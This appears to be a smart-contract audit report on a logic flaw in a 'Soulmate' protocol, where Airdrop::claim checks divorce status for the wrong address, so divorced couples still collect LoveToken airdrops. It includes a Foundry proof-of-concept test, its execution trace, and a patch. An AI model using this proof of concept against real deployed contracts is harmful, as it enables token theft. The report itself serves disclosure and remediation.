Summary
The couple can get divorced and still run Airdrop:claim without it reverting. This lead to divorced couples still receiving airdrop tokens which is against the purpose of the protocol.
Vulnerability Details
When the couple divorce the soulmate::divorced mapping changes the address status from false to true. However when airdrop::claim is run the status is always false. The claim function is not receiving the correct bool value from the mapping. This leads to the function distributing the airdrop despite the user not being entitled to receive it.
function testdivorced() public{
address USER = makeAddr("user");
address USER1 = makeAddr("user1");
vm.startPrank(USER);
soulmateContract.mintSoulmateToken();
vm.startPrank(USER1);
soulmateContract.mintSoulmateToken();
soulmateContract.soulmateOf(USER);
soulmateContract.getDivorced();
soulmateContract.soulmateOf(USER);
vm.warp(86401);
vm.startPrank(USER);
soulmateContract.isDivorced();
airdropContract.claim();
vm.stopPrank();
}
Result:
─ [46388] Soulmate::getDivorced()
│ ├─ emit CoupleHasDivorced(soulmate1: user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF], soulmate2: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ └─ ← ()
├─ [624] Soulmate::soulmateOf(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
│ └─ ← user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF]
├─ [0] VM::warp(86401 [8.64e4])
│ └─ ← ()
├─ [0] VM::startPrank(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ └─ ← ()
├─ [384] Soulmate::isDivorced() [staticcall]
│ └─ ← true
├─ [0] VM::startPrank(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ └─ ← ()
├─ [70329] Airdrop::claim()
│ ├─ [2384] Soulmate::isDivorced() [staticcall]
│ │ └─ ← false
│ ├─ [607] Soulmate::ownerToId(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ │ └─ ← 0
│ ├─ [549] Soulmate::idToCreationTimestamp(0)
│ │ └─ ← 1
│ ├─ [293] LoveToken::decimals()
│ │ └─ ← 18
│ ├─ [293] LoveToken::decimals()
│ │ └─ ← 18
│ ├─ [2586] LoveToken::balanceOf(Vault: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b])
│ │ └─ ← 500000000000000000000000000 [5e26]
│ ├─ emit TokenClaimed(user: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], amount: 1000000000000000000 [1e18])
│ ├─ [33184] LoveToken::transferFrom(Vault: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 1000000000000000000 [1e18])
│ │ ├─ emit Transfer(from: Vault: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], to: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], amount: 1000000000000000000 [1e18])
│ └─ ← ()
└─ ← ()
Impact
The impact of the finding is that the protocol is losing tokens to users who aren't intitled to them.
Tools Used
Remix, Foundary
Recommendations
Change the airdrop::claim function to accept message.sender for the divorce bool check.
step 1:
- function isDivorced() external view returns (bool);
+ function isDivorced(address soulmate) external view returns (bool);
step 2:
- function isDivorced() public view returns (bool) {
- return divorced[msg.sender];
- }
+ function isDivorced(address soulmate) external view returns (bool) {
+ return divorced[soulmate];
+ }
step 3:
- if (soulmateContract.isDivorced()) {
- revert("Couple is divorced");
- }
+ if (soulmateContract.isDivorced(msg.sender)) {
+ revert("Couple is divorced");
+ }
result:
├─ [1351] Airdrop::claim()
│ ├─ [650] Soulmate::isDivorced(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
│ │ └─ ← true
│ └─ ← revert: Couple is divorced
└─ ← revert: Couple is divorced
